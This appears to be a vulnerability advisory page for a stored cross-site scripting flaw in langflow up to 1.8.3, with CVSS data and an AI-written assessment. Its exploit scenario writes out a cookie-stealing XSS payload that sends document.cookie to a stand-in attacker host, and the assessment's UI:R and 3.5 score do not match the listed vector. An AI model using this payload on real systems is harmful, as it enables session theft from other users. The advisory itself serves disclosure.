EUVD-2026-23764Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
9DescriptionCVE.org
A flaw has been found in langflow-ai langflow up to 1.8.3. This affects an unknown function of the file src/frontend/src/modals/IOModal/components/chatView/chatMessage/components/edit-message.tsx of the component Frontend React Component Rendering. Executing a manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
Stored cross-site scripting (XSS) in langflow-ai langflow up to version 1.8.3 allows authenticated users to inject malicious scripts into chat messages via the edit-message component, which are then executed in the browsers of other users viewing the manipulated message. The vulnerability requires user interaction (recipient must view the crafted message) and authenticated access, limiting scope to users within a langflow instance, but publicly available exploit code exists and the vendor has not responded to early disclosure.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be authenticated to the langflow instance with permission to edit at least one chat message (specific edit permission level not detailed in available data). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 3.5 (low severity) reflects constrained attack surface: network vector but requiring authenticated access (PR:L), user interaction to trigger (UI:R), and low impact (integrity only, no confidentiality or availability loss). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated attacker (team member with access to langflow) crafts a chat message containing a malicious script payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?token='+document.cookie)">) and submits it as a message edit. When another authenticated user views the edited message in the chat interface, the browser executes the embedded script, exfiltrating the viewer's session token or API key to the attacker's server. … |
| Remediation | Upgrade langflow to a patched version greater than 1.8.3 immediately; however, no vendor-released patch version has been confirmed in available data, and the vendor has not responded to disclosure. … Detailed patch versions, workarounds, and compensating controls in full report. |
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